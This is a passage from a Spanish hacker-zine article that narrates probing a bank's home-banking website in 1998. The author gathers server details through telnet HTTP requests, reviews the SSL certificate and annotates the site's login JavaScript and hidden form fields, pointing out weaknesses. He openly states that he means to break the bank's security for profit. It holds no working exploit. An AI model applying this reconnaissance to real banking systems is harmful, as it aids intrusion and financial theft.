Copy Link
Add to Bookmark
Report

SET 020 0x05

  

-[ 0x05 ]--------------------------------------------------------------------
-[ ASALTO AL WEB DEL DINERO ]------------------------------------------------
-[ by FCA00000]-------------------------------------------------------SET-20-


Esta historia es real. Podria agregar que como la vida misma, pero la vida no
siempre es real.
Su argumento: el robo a un banco.
Los protagonistas: una persona (que llamaremos YO para mantener la tension),
una entidad bancaria (denominado BANCO JONES para darle un toque gracioso),
un poco de tiempo por perder, una aficion apasionante, una razon podero$a, y
un mucho de tecnologia.
La historia se cuenta en primera persona para que cualquier pardillo (en
ingles, lamer) se crea capaz de hacerlo.

Escenario: un cuarto de una persona juvenil.
Atrezzo: ordenador DX2-66, Modem 14.4, Sistema operatorio Win98 (porque no?),
Navegador IE4.0 (la version gratuita), compilador TurboC 2.0 , grep.exe ,
impresora matricial (y papel reciclado),
Ambientacion musical: Sisters Of Mercy, The Cure, Wedding Present, Cramps,
Decima Victima, Nikis, Aviador Dro, Paralisis Permanente, La Dama se Esconde
Schubert, Brahms, Haendel, Bach, Prokofiev, Pachebel. Total 15 horas.
Ambientacion luminosa: la que salga del monitor de 14'. Bombilla de 60W.
Ambientacion alimenticia: Croissants, Nocilla y Te con limon
Ambientacion olfativa: Ambi-pur de rosas. Es importante, aunque no lo creais.
Calor: 25º (me gusta trabajar asi). Ambiente seco.
Todas estas cosas influyen. Para hacer algo, lo mejor es hacerlo en
condiciones idoneas.

Por supuesto, tiene moraleja.

Verano del 97. Recibo una carta del Banco JONES (en el cual tengo ahorros) en
la que, entre otras informaciones inutiles, se me informa que por el hecho de
tener una tarjeta de credito, tengo derecho a una cuenta de correo Internet.
Llamo al numero de telefono (gratix) y, tras pedirme el numero de tarjeta, me
dan una clave de acceso a Internet y una direccion de correo. Lamentablemente,
no dan espacio para paginas Web.
La pruebo, funciona bien, y la adopto como direccion de correo habitual.

Diciembre del 97. Una nueva informacion. Ahora puedo realizar mis operaciones
bancarias con un producto de tipo Home-Banking, o banco en casa. Lo visito,
me doy de alta, y espero confirmacion. Como no llega, la reclamo, y me dicen
que solo faltaba activarla. Por cierto, para verificar que de verdad quien
llama por telefono soy yo, me preguntan cantidad de datos personales (para
contrastarlos con los que ya tienen): Cuantos fondos tengo, fechas de
contratacion, Numero de tarjeta, domicilio, ...
En ese mismo instante, y gracias a que tengo 2 lineas, compruebo que funciona.
Guais. Ahora puedo consultar el dinerito que tengo.
Es facil de manejar, y parece ser seguro.
Paso mucho tiempo sin usar el servicio.

Julio del 98. Harto de tener que esperar a fin de mes para ver mis
extractos, me conecto de nuevo al HB y como mi clave sigue funcionando, pues
consulto mis datos. Bonito, facil y no demasiado lento.

Agosto del 98. Escribo mi primer articulo en SET. Me gusta como ha quedado,
asi que empiezo a pensar en otros temas interesantes para la audiencia. De
paso intentare sacar provecho, ya sea aprendiendo mucho (este es el concepto
idealista de un hacker), bien fastidiando a alguien (concepto que tiene la
gente de un hacker), o bien ganando dinero y/o poder (concepto practico y
materialista. A mi siempre me gusto practicar el materialismo)

Noviembre del 98. Ya tengo la idea perfecta. Intentare ver cuanto de seguro es
el banco JONES. Parece un proyecto sencillo, del que se puede sacar provecho.

Primera sesion. Vispera de difuntos:
Una conexion simple, navego por sus paginas, pierdo 10 minutos.
Miro el cache de paginas visitadas, y me hago una idea.
Entre las cosas destacables:
-Los saltos de linea con CHR$(10), y no CHR$(13)+CHR$(10), asi que hay un UNIX
de por medio
-Algunos documentos tienen <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
lo que indica que hay un Netscape Gold o similar.
-Algunos no lo tienen, lo cual indica que hay varias herramientas de trabajo
-Las validaciones de fechas, numero de cuentas corrientes, campos obligatorios
y similares estan en JavaScript. Se tienen en cuenta los casos mas comunes, con
tecnicas de programacion bastante simples, de alguien que trabaja con bases de
datos. La gente de VisualBasic mete muchos mas controles, y los de C meten
controles mas complejos de entender
-Todas las imagenes se guardan en un mismo directorio
-Hay varios programas que responden a las peticiones, todos en /cgi-bin
-La comunicacion se hace a traves de una conexion segura, usando SSL.2 y
superior, a traves del puerto (estandar) 443
-Todos los CGIs se hacen por el metodo POST
-Los CGIs generan muchas de las paginas. Quiero decir que las paginas se
generan en marcha. Esto implica un servidor potente, pensado en multiproceso
para multiples peticiones
-Las solicitudes que mando (peticion de extractos, fundamentalmente) incluyen
varios campos ocultos, llama mucho la atencion uno que se llama SessionID.
-Se me solicita nombre y password para acceder al servicio, otra vez para hacer
transferencias, pero no para hacer consultas (una vez que estoy dentro)

Segunda sesion. 7 de Noviembre:
Ya se unos cuantos directorios, asi que me centro en ellos para sacar todo
lo que pueda. Ademas, practico el tema de las transferencias, que es un sitio
con muchas posibilidades.
A continuacion detallo solicitudes (GET) y sus respuestas. Por si alguien no
lo sabe, el protocolo HTTP consiste en una peticion de cliente (el navegador)
de unos datos a traves del puerto seleccionado, normalemente el 80.
El servidor escucha las peticiones, manda una solicitud de envio de respuesta,
abre un nuevo puerto con el cliente (normalmente aleatorio, y >=6000 ) y le
manda los datos. Si hay un proxy de por medio, los datos pueden resultar
filtrados y/o almacenados.
Asi que simplemente arranco la conexion, abro una ventana de MS-DOS, y escribo
telnet www.bancojones.com 80
GET /
<html><head>Invalid request</head></html>
Vaya, mala suerte. Las cosas hay que pedirlas bien
GET / HTTP 1.0
Netscape-Enterprise 3.0K
<html><head>Invalid request</head></html>
Bueno, algo es algo. La maquina usa un servidor de Netscape.
GET /index.html HTTP 1.0
<html><head>Bienvenido al Banco Jones</head></html>
y un monton de rollo mas. esto es lo mismo que se ve desde la ventana del
navegador, con la opcion View Source. (por supuesto, lo que no se ve es que
el servidor es de Netscape).
Ya hay una ense~anza: un navegador intenta coger la pagina denominada /
y luego intenta coger /index.html si la anterior respuesta es negativa.
La pagina que se presenta no contiene mas que unos linkados a otras
paginas; la que nos interesa se llama "Banca Electronica"
Pongo el navegador para que me informe de cualquier cosa relacionada con la
seguridad (modo paranoico), y salto a la pagina.
El InternetExplorer me avisa de que voy a conectar con una pagina segura.
Perfecto. Le pido ver el certificado, y este es:
Numero de serie = xx:yy:zz: ..... (numeros ocultos por respeto al Banco Jones)
Algoritmo hash = RSA/MD5
Fecha de inicio = Jueves, Abril 12, 1998 (datos cambiados)
Fecha de finalizacion = Lunes, Agosto 16, 1999 (datos cambiados)
Informacion del emisor
O=VeriSign Trust Network (estos son autenticos)
OU=VeriSign Inc.
OU=VeriSign International Server CA - Class 3
OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)98 VeriSign
Informacion del asunto (me encantan estas traducciones)
C=es
S=Madrid
L=Madrid
OU=DTS
CN=www.bancojones.es
Bueno, unas cuantas cosas para aprender:
Caduca dentro de un a~o. A ver si entonces van a anular el servicio!
El Centro Autentificador es Verisign. Alguien de renombre.
Es un certificado de clase 3. O sea, de tipo medio.
Por lo demas, parace que los datos son los estandar. Esto quiere decir que no
han querido complicarse la vida.

Bien, permito que el navegador acceda a la pagina.
Veo que estan usando cifrado SSL.3 (es la mas alta que permite mi navegador) a
traves del puerto 443. Nada fuera de lo normal.
En pruebas posteriores compruebo que tambien puede usar SSL.2, pero no permite
trabajar sin cifrado (en espa~ol, "encriptar" significa meter en una cripta).
Entonces se me presenta la pagina de peticion de clave.
Lo primero que se ve: la genera /cgi-bin/index.cgi
se compone de 2 frames: /BJ/hostlogin.html y /BJ/security.html
(por supuesto que BJ son las iniciales de BancoJones)

/BJ/security.html contiene unas cuantas validaciones de fechas, algunas rutinas
de proposito general, variables globales, y un par de linkados sosos. El
lenguaje es JavaScript. El estilo de programacion es sencillo y directo. Se
pueden evitar muchos pasos. Las variables tienen nombres muy representativos.
Esta bien organizado, hecho primero el esquema sobre papel.
las notas con *** son mias. El resto es el original
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript">

// FUNCIONES DE VALIDACION DE FECHAS //
// UPDATEFECHA ()

function updatefecha(dia, mes, anio) {

var i = mes.selectedIndex;
if(mes.options[i].value == "02") {
dia.options[30] = null;
dia.options[29] = null;
var j = anio.selectedIndex;
var year = eval(anio.options[j].value);
if ( ((year%400)==0) || (((year%100)!=0) && ((year%4)==0)) ) {
if (dia.options[28] == null) {
dia.options[28] = new Option("29");
dia.options[28].value = "29";
}
} else {
dia.options[28] = null;
}

}

if(mes.options[i].value == "01" ||
mes.options[i].value == "03" ||
mes.options[i].value == "05" ||
mes.options[i].value == "07" ||
mes.options[i].value == "08" ||
mes.options[i].value == "10" ||
mes.options[i].value == "12")
{
if (dia.options[28] == null) {
dia.options[28] = new Option("29");
dia.options[28].value = "29";
}
if (dia.options[29] == null) {
dia.options[29] = new Option("30");
dia.options[29].value = "30";
}
if (dia.options[30] == null) {
dia.options[30] = new Option("31");
dia.options[30].value = "31";
}
}

if(mes.options[i].value == "04" ||
mes.options[i].value == "06" ||
mes.options[i].value == "09" ||
mes.options[i].value == "11")
{
if (dia.options[28] == null) {
dia.options[28] = new Option("29");
dia.options[28].value = "29";
}
if (dia.options[29] == null) {
dia.options[29] = new Option("30");
dia.options[29].value = "30";
}
dia.options[30] = null;
}

if (dia.selectedIndex == -1)
dia.selectedIndex = 0;

}


// CHECKFECHA ()

function checkfecha(mes, dia, anio) {
var i = mes.selectedIndex;
var k= dia.selectedIndex;
var diaelegido=eval(dia.options[k].value);
var j=anio.selectedIndex;
var year=eval(anio.options[j].value);

if(mes.options[i].value == "02")
{
if ( ((year%400)==0) || (((year%100)!=0) && ((year%4)==0)) )
{
if (diaelegido > 29)
{
alert("Fecha incorrecta.\n Día no válido para año y mes seleccionados.");
dia.focus ();
return false;
}
else return true
}
else /* no bisiesto*/
{if (diaelegido > 28)
{
alert("Fecha incorrecta.\n Día no válido para año y mes seleccionados.");
dia.focus ();
return false;
}
else return true;

}/* no bisiesto*/
}
else /* no febrero*/

{ if (mes.options[i].value=="04" || mes.options[i].value=="06"|| mes.options[i].value=="09" || mes.options[i].value=="11" )
{if (diaelegido>30)
{
alert("Fecha incorrecta.\n Día no válido para año y mes seleccionados.");
dia.focus ();
return false;
}
else return true;
} /*no febrero*/
else return true /*mes de 31 días*/
}

if (dia.selectedIndex == -1)
dia.selectedIndex = 0;
return false;

}

// RANGOVALIDO ()

function rangovalido (fechaactualparm, dia1, mes1, anio1, dia2, mes2, anio2)
{

// var dia1, dia2, mes1, mes2, anio1, anio2;

dia1 = eval (dia1.options[dia1.selectedIndex].value)
mes1 = eval (mes1.options[mes1.selectedIndex].value)
anio1 = eval (anio1.options[anio1.selectedIndex].value)
dia2 = eval (dia2.options[dia2.selectedIndex].value)
mes2 = eval (mes2.options[mes2.selectedIndex].value)
anio2 = eval (anio2.options[anio2.selectedIndex].value)

fechatemp1 = new Date ()
fechatemp1.setMonth(mes1-1)
fechatemp1.setYear(anio1)
fechatemp1.setDate(dia1)

fechatemp2 = new Date ()
fechatemp2.setMonth(mes2-1)
fechatemp2.setYear(anio2)
fechatemp2.setDate(dia2)

if ((fechatemp1.getTime()/1000) > (fechatemp2.getTime()/1000))
{
alert ("Rango Invalido de fechas")
return false
}
secs1 = fechatemp1.getTime()/1000
secs2 = fechatemp2.getTime()/1000
difsec1 = secs2-secs1
sec31dias = 30*24*60*60
sec18meses = 19*30*24*60*60
dia1 = fechaactualparm.substring (0,2)
mes1 = fechaactualparm.substring (2,4)
anio1 = fechaactualparm.substring (4,8)
fechaactual = new Date ()
fechaactual.setMonth(mes1-1)
fechaactual.setYear(anio1)
fechaactual.setDate(dia1)

secs = fechaactual.getTime()/1000

difsec2 = secs - secs1

if (difsec1 > sec31dias)
alert ("No se puede elegir un periodo superior a 31 dias")
else
if (difsec2 > sec18meses)
alert ("No se pueden pedir movimientos con antiguedad superior a 18 meses")
else
if ((fechatemp2.getTime()/1000) > (fechaactual.getTime()/1000))
alert ("No se pueden pedir movimientos que superen la fecha actual")
else
return true

}

// FIN DE FUNCIONES DE VALIDACION DE FECHAS //

function AbrirVentana( name, url, menus )
{
if (menus != "yes") { menus = "no" }

open(url, name, "toolbar=no,menubar=" + menus + ",directories=no,location=no,status=no,scrollbars=yes,resizable=yes,copyhistory=no,width=600,height=480")
if (navigator.appVersion.indexOf("(X11") != -1 || navigator.appVersion.indexOf("(Mac") != -1)
open(url, name, "toolbar=no,directories=no,location=no,status=no,scrollbars=yes,resizable=yes,copyhistory=no,width=600,height=480")
}

function VerAyuda( url )
{
AbrirVentana( "Ayuda", "/BJ/"+url );
}
*** o sea, que hay varias ayudas en /BJ

function VerBuzon( url, menus )
{
AbrirVentana( "Buzon", url, menus );
}

function cifrar( data )
{
//return top.security.document.security.cipherRSA( data );
return data;
}
***
­Por Dios, vaya chapuza!
O sea, que el codigo esta comentado!
O sea, que mi clave viaja por la red tranquilamente (menos mal que hay SSL)
***
function AbrirSeguro(url)
{
path_simulador = document.form_path.path_seguro.value;
AbrirVentana( "Fondos", path_simulador+url);
}
*** Vaya, parece haber 2 directorios: uno para seguro, otro para inseguro
*** quizas tambien haya 2 maquinas, o 2 puertos.

function AbrirNoSeguro(url)
{
path_simulador = document.form_path.path_noseguro.value;
AbrirVentana( "Fondos", path_simulador+url);
}

function AbrirVentanaS(url1,nombre1,url2,nombre2)
{
path_simulador = document.form_path.path_noseguro.value+"servicios/"
AbrirVentanaC(path_simulador+url1,nombre1)
AbrirVentanaA(path_simulador+url2,nombre2)
}
*** o sea, que tambien hay un directorio /???/servicios
function AbrirVentanaC(url,nombre)
{
window.open(url, nombre, "toolbar=no,directories=no,location=no,status=no, scrollbars=no,resizable=no,copyhistory=no,width=400,height=450")
if (navigator.appVersion.indexOf("(X11") != -1 || navigator.appVersion.indexOf("(Mac") != -1)
window.open(url, "nombre", "toolbar=no,directories=no,location=no,status=no,scrollbars=no,resizable=no,copyhistory=no,width=400,height=450")
}

function AbrirVentanaA(url,nombre)
{
window.open(url, nombre, "toolbar=no,directories=no,location=no,status=no, scrollbars=yes,resizable=no,copyhistory=no,width=280,height=300")
if (navigator.appVersion.indexOf("(X11") != -1 || navigator.appVersion.indexOf("(Mac") != -1)
window.open(url, "nombre", "toolbar=no,directories=no,location=no,status=no,scrollbars=yes,resizable=no,copyhistory=no,width=280,height=300")
}
** pues podrian haber usado AbrirVentanaA, cambiando solo height
function ascii2hex(a)
{
return a;
}
*** eh, eh, esto esta mal.

var usuario;
var flagSubmit = true;

// Variable a la que se asociara una ventana con algun mensaje
// de aviso al usuario.
// Se declara aqui para poder abrirla en unas plantillas y
// cerrarla en otras.
*** gracias por los comentarios

var AvisoWin

// -->
</script>

<form name=form_path>
<INPUT TYPE=HIDDEN NAME=path_noseguro VALUE="http://www.bancojones.es/">
<INPUT TYPE=HIDDEN NAME=path_seguro VALUE="https://www.bancojones.es/">
</form>

<TITLE>Banca Personalizada [Security]</TITLE>
</HEAD>
</HTML>
*** y aqui se acaba


/BJ/hostlogin.html contiene tambien codigo JavaScript, un generador de paginas,
llamadas a CGIs y, areas de click, comprobaciones, la peticion de usuario y
password, y accesos a otras paginas. Aqui esta:
<HTML>
<HEAD>
<TITLE>Bienvenida a Banco Jones</TITLE>
<SCRIPT LANGUAGE = "JavaScript">
browserName = navigator.appName;
browserVer = parseInt(navigator.appVersion);
if ((browserName == "Netscape" && browserVer >= 3) || (browserVer >= 4))
version = "n3";
else version = "n2";

if (version == "n3")
{
opc1 = new Image(267,68);
opc1.src = "/bj/images/publi.gif";
*** vaya, asi que las imagenes estan bien ordenaditas en el mismo directorio
opc2 = new Image(267,68);
opc2.src = "/BJ/images/cartel1.gif";
opc3 = new Image(267,68);
opc3.src = "/BJ/images/cartel2.gif";
opc4 = new Image(267,68);
opc4.src = "/BJ/images/cartel3.gif";
opc5 = new Image(267,68);
opc5.src = "/BJ/images/cartel4.gif";
opc6 = new Image(267,68);
opc6.src = "/BJ/images/cartel5.gif";
opc7 = new Image(267,68);
opc7.src = "/BJ/images/cartel6.gif";
opc8 = new Image(267,68);
opc8.src = "/BJ/images/cartel7.gif";
opc9 = new Image(267,68);
opc9.src = "/BJ/images/cartel8.gif";
opc10 = new Image(267,68);
opc10.src = "/BJ/images/cartel9.gif";
opc11 = new Image(267,68);
opc11.src = "/BJ/images/info.gif";
}

function img_actbanner(imgNumber)
{
if (version == "n3")
{
imgOn = eval("opc" + imgNumber + ".src");
document ["opc"].src = imgOn;
}
}

function abrirventana(texto,numero)
{
if (version == "n2")
vent = open(texto,"ventana","width=400,height=50,resizable=no")
else
img_actbanner(numero)
}

function cifrar_passwrd()
{
alert (document.forms[0].elements[11].name)
alert (document.forms[0].elements[11].value)
alert (document.forms[0].password.name)
alert (document.forms[0].password.value)
document.forms[0].elements[11].value= top.security.cifrar(document.forms[0].password.value)
*** pero ya sabemos que la funcion cifrar() no hace nada
alert (document.forms[0].elements[11].name)
alert (document.forms[0].elements[11].value)
}

function asignar()
{
top.security.flagSubmit = true
top.security.usuario=document.forms[0].elements[8].value
*** o sea, que te fias de lo que el usuario tenga escrito
return true
}
</script>

<script>
document.write('<map name=imgcentro>')
if ((version == "n2") || (browserName == "Netscape"))
{
document.write('<area shape=rect coords=0,3,176,22 href="javascript:abrirventana(\'hintegral.html\',2);" onMouseover = "img_actbanner(\'2\'); window.status=\'Posición Integral\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\';">')
document.write('<area shape=rect coords=0,30,176,50 href="javascript:abrirventana(\'hconsulta.html\',3);" onMouseover = "img_actbanner(\'3\'); window.status=\'Consulta de Movimientos\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,58,176,78 href="javascript:abrirventana(\'htransferencia.html\',4);" onMouseover = "img_actbanner(\'4\'); window.status=\'Transferencias\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,84,176,104 href="javascript:abrirventana(\'hcotizacion.html\',5);" onMouseover = "img_actbanner(\'5\'); window.status=\'Cotizaciones de Bolsa\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,111,176,131 href="javascript:abrirventana(\'hvalores.html\',6);" onMouseover = "img_actbanner(\'6\'); window.status=\'Compra-Venta de Valores\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,3,399,23 href="javascript:abrirventana(\'hpension.html\',7);" onMouseover = "img_actbanner(\'7\'); window.status=\'Planes de Pensiones\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,31,399,50 href="javascript:abrirventana(\'hcontratar.html\',8);" onMouseover = "img_actbanner(\'8\'); window.status=\'Contratar Productos\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,58,399,77 href="javascript:abrirventana(\'hfondos.html\',9);" onMouseover = "img_actbanner(\'9\'); window.status=\'Fondos de Inversión\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,84,399,104 href="javascript:abrirventana(\'htarjetas.html\',10);" onMouseover = "img_actbanner(\'10\'); window.status=\'Tarjetas\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,111,399,131 href="javascript:abrirventana(\'heconomia.html\',11);" onMouseover = "img_actbanner(\'11\'); window.status=\'Información Economica\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
}
else
{
document.write('<area shape=rect coords=0,3,176,22 href="#top" onMouseover = "img_actbanner(\'2\'); window.status=\'Posición Integral\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\';">')
document.write('<area shape=rect coords=0,30,176,50 href="#top" onMouseover = "img_actbanner(\'3\'); window.status=\'Consulta de Movimientos\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,58,176,78 href="#top" onMouseover = "img_actbanner(\'4\'); window.status=\'Transferencias\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,84,176,104 href="#top" onMouseover = "img_actbanner(\'5\'); window.status=\'Cotizaciones de Bolsa\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=0,111,176,131 href="#top" onMouseover = "img_actbanner(\'6\'); window.status=\'Compra-Venta de Valores\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,3,399,23 href="#top" onMouseover = "img_actbanner(\'7\'); window.status=\'Planes de Pensiones\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,31,399,50 href="#top" onMouseover = "img_actbanner(\'8\'); window.status=\'Contratar Productos\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,58,399,77 href="#top" onMouseover = "img_actbanner(\'9\'); window.status=\'Fondos de Inversión\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,84,399,104 href="#top" onMouseover = "img_actbanner(\'10\'); window.status=\'Tarjetas\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
document.write('<area shape=rect coords=223,111,399,131 href="#top" onMouseover = "img_actbanner(\'11\'); window.status=\'Información Economica\'; return true" onMouseout = "img_actbanner(\'1\'); window.status=\'\' ">')
}
document.write('</map>')

</SCRIPT>
</HEAD>
<a name="top">
<base target="bancojones">

<BODY background="/BJ/images/nfondo.gif" link="red" alink="black"
vlink="#737373">

<SCRIPT LANGUAGE = "JavaScript">

<!--
if (version == "n3")
{
nav1on = new Image(112,24);
nav1on.src = "/BJ/images/nconectaon.gif";
nav2on = new Image(112,24);
nav2on.src = "/BJ/images/naltaon.gif";
nav3on = new Image(112,24);
nav3on.src = "/BJ/images/ndemoon.gif";
nav1off = new Image(112,24);
nav1off.src = "/BJ/images/nconecta.gif";
nav2off = new Image(112,24);
nav2off.src = "/BJ/images/nalta.gif";
nav3off = new Image(112,24);
nav3off.src = "/BJ/images/ndemo.gif";
}

function img_act(imgName)
{
if (version == "n3")
{
imgOn = eval(imgName + "on.src");
document [imgName].src = imgOn;
}
}

function img_inact(imgName)
{
if (version == "n3")
{
imgOff = eval(imgName + "off.src");
document [imgName].src = imgOff;
}
}

function conectar ()
{
document.login.submit()
*** bien, aqui hay algo interesante. seguro que llama a un CGI con POST
}
// -->
</script>


<table border=0 cellpadding=0 cellspacing=0>
<tr><td valign=top>
<table border=0 cellpadding=0 cellspacing=0>
<tr>
<td width=15> </td>

<td align=center><img src="/BJ/images/nlogosnet.gif" alt="logotipo" width=128 height=80><p>
<img src="/BJ/images/nbienve.gif" alt="bienvenida" width=112 height=34></td>
</tr>
</table>
<p>

<form ACTION="/cgi-bin/BJ/BJ.cgi" METHOD="POST" name = "login">
*** no lo dije? un hermoso CGI
<input type=hidden name="BJ_ServiceName" value="Jonesnet1to1">

<INPUT TYPE=HIDDEN NAME="submit0%login_type" VALUE="member">
<INPUT TYPE=HIDDEN NAME="submit0%success" VALUE="/templates/Jonesnet1to1/Jonesnet_00.html.tmpl">
*** interesante. hay un directorio /templates/Jonesnet1to1/
<INPUT TYPE=HIDDEN NAME="submit0%success_type" VALUE="template">
<INPUT TYPE=HIDDEN NAME="submit0%failure" VALUE="/templates/Jonesnet1to1/loginfail.html.tmpl">
<INPUT TYPE=HIDDEN NAME="submit0%failure_type" VALUE="template">
<INPUT TYPE=HIDDEN NAME="submit0%personal_page" VALUE= "PAGINA_PRINCIPAL_TMPL">
<INPUT TYPE=HIDDEN NAME="submit0%SECURITY" VALUE= "0">
*** o sea, multitud de variables ocultas. El CGI debe ser bastante potente

<table border=0 cellpadding=0 cellspacing=2>
<tr>
<td align=right>
<font size=2 color=ffffff face="Arial">
   <b>Usuario</b></td><td><input type=text name=form%username size=9 maxlength=35></font></td></tr>
*** ah, aqui va el nombre.

<tr>
<td align=right><font size=2 color=ffffff face="Arial">
   <b>Clave</b> </td><td><input type=password name=form%password size=9></font></td></tr>
*** claro, y aqui la clave

</table>

<p>

<table border=0 cellpadding=0 cellspacing=0>
<tr>
<td align=left>

<a href="javascript:asignar();document.login.submit()" onMouseover = "img_act('nav1'); self.status='Conectar'; return true" onMouseout = "img_inact('nav1')">
<img src="/BJ/images/nconecta.gif" alt="conecta" width=112 height=24 hspace=41 border=0 name=nav1></a><br>
<input type=hidden name="submit%submit0">
<input type=hidden name=submit%submit0 value="submit0" border=0 >
<INPUT TYPE=HIDDEN NAME="BJ_Operation" VALUE="Dyn_HostLoginReceive">
<INPUT TYPE=HIDDEN NAME="form%host_failure" VALUE="templates/Jonesnet1to1/host_failure.html.tmpl">
<INPUT TYPE=HIDDEN NAME="form%nombre_categoria" VALUE="Saldos">
*** Demasiados hidden. Esto demuestra que el servidor no guarda muchos datos
*** del cliente, sino que se transmiten en cada comunicacion.

<A HREF="alta.html" onMouseover = "img_act('nav2'); self.status='Alta'; return true" onMouseout = "img_inact('nav2')"><img src="/BJ/images/nalta.gif" alt="alta" width=112 height=24 hspace=41 border=0 name=nav2></a><br>
<A HREF="demo.html" onMouseover = "img_act('nav3'); self.status='Demo'; return true" onMouseout = "img_inact('nav3')"><img src="/BJ/images/ndemo.gif" alt="demostracion" width=112 height=24 hspace=41 border=0 name=nav3></a>
</td></tr>
</form>
</table>
<p>

<table border=0 cellpadding=0 cellspacing=0>
<tr>
<td>
<a href="calidad.html"><img src="/BJ/images/ncalida.gif" alt="calidad" width=128 height=23 hspace=25 border=0></a><p>
<a href="https://www.bancojones.es/906s.html"><img src="/BJ/images/contec.gif" alt="consultas técnicas" width=128 height=23 hspace=25 border=0></a><p>
<a href="javascript:top.security.VerBuzon('/joneslinea.html','yes')"><img src="/BJ/images/nslinea.gif" alt="buzon joneslinea" width=128 height=23 hspace=25 border=0></a><p>
<a href=https://www.bancojones.es/><img src="/BJ/images/npprin.gif" alt="pagina principal" width=128 height=23 hspace=25 border=0></a><p>
<a href="javascript:top.security.VerAyuda('ayuda/BCFAyuda.html')"><img src="/BJ/images/nayuda.gif" alt="ayuda" width=128 height=23 hspace=25 border=0></a>
*** o sea, que hay un directorio /BJ/ayuda
</td>
</tr>
</table>

</td>
<td align=center valign=top>
<br>
<table width=550 border=5 bordercolor=red cellpadding=0 cellspacing=0>
<tr><td>
<table border=0 bgcolor=ffffff cellpadding=5 cellspacing=0>
<tr><td>
<a href="javascript:top.security.AbrirSeguro('BJ/aenor.html')"><img src="/images/aenor.gif" alt="aenor" width=53 height=100 hspace=10 border=0></a>
*** no lo he dicho antes, pero el Banco Jones se precia de tener el
*** certificado AENOR de calidad. Espero que para obtener este certificado
*** la seguridad informatica no cuente mucho, porque pienso romperla.

</td>
<td align=center>
<b><font color=red>
BANCO JONES es el primer banco en el mundo en obtener el Certificado de Calidad UNE-EN ISO 9002 para sus actividades de Banca por Internet
*** si, y yo voy a arruinarselo

</font></b>
</td>
<td>
<a href="javascript:top.security.AbrirSeguro('BJ/iqnet.html')"><img src="/images/iqnet.gif" alt="iqnet" width=85 height=85 hspace=10 border=0></a>
</td></tr>
</table>
</td></tr>
</table>

<br><p>

<center>
<table border=0 cellpadding=0 cellspacing=0>

<tr>
<td align=center><img src="/BJ/images/imgalto.gif"></td>
</tr>
<tr><td><img src="/BJ/images/separar.gif"></td></tr>
<tr>
<td align=center><img src="/BJ/images/lineas.gif"></td>
</tr>
<tr><td><img src="/BJ/images/separar.gif"></td></tr>

<tr>
<td align=center><img src="/BJ/images/selec.gif" ismap usemap="#imgcentro" border=0></td>
</tr>
<tr><td><img src="/BJ/images/separar.gif"></td></tr>
<tr>
<td align=center><img src="/BJ/images/lineas.gif"></td>
</tr>
<tr><td> </td></tr>
<tr>
<td align=center><img src="/BJ/images/publi.gif" width=267 height=68 name=opc border=0></td>
</tr>
</tr>
</table>
</center>

<table border=0 cellpadding=0 cellspacing=0>

<tr><td> </td></tr>
<tr><td align=center><hr size=1><font size=2 face=Arial><b>- Su oficina bancaria en Internet -</b></font></td></tr>
<tr><td align=left><hr size=1>
<font size=-2 face=Arial>
<b><li>Posición Integral.</b>
<p>
<b><li>Cuentas:</b><p>
<ul>
<li type=circle>Saldos y movimientos de los últimos 18 meses.
<li>Solicitud de apertura de Cuenta.
<li>Transferencias y Traspasos.
<li>Domiciliación de Recibos.
<li>Solicitud de Talonario.
</ul>
<p>
<b><li>Fondos de Inversión:</b><p>
<ul>
<li type=circle>Saldos y movimientos.
<li>Contratación.
<li>Aportaciones, Reembolsos, Traspasos.
</ul>
<p>
<b><li>Tarjetas de Crédito:</b><p>
<ul>
<li type=circle>Movimientos de los últimos 12 meses.
<li>Solicitud de Tarjeta/Tarjeta adicional.
<li>Cambio Modalidad de Pago.
<li>Petición Número Secreto.
</ul>
<p>
<b><li>Tarjetas de Débito:</b><p>
<ul>
<li type=circle>Movimientos de los últimos 12 meses.
<li>Petición Número Secreto.
<li>Solicitud Tarjeta/Tarjeta alternativa.
</ul>
<p>
<b><li>Planes de Pensiones:</b><p>
<ul>
<li type=circle>Saldos y Movimientos.
<li>Contratación.
<li>Modificación de cuota.
<li>Aportaciones extraordinarias.
</ul>
<p>
<b><li>Bolsa de Valores:</b><p>
<ul>
<li type=circle>Saldos de las Custodias de Valores.
<li>Cotizaciones.
<li>Compra-Venta.
<li>Consulta Situación Órdenes.
<li>Información del Boletín Financiero.
</ul>
*** vaya, vaya, se pueden hacer cantidad de cosas.
<p>
<b><li>Divisas:</b><p>
<ul>
<li type=circle>Solicitud de moneda extranjera.<p>
</ul>
<b><li>Informes de Mercados Financieros.</b><p>
</font>
<br>
<center>
<table bgcolor=dddddd width=350 border=2 cellpadding=5 cellspacing=0>
<tr>
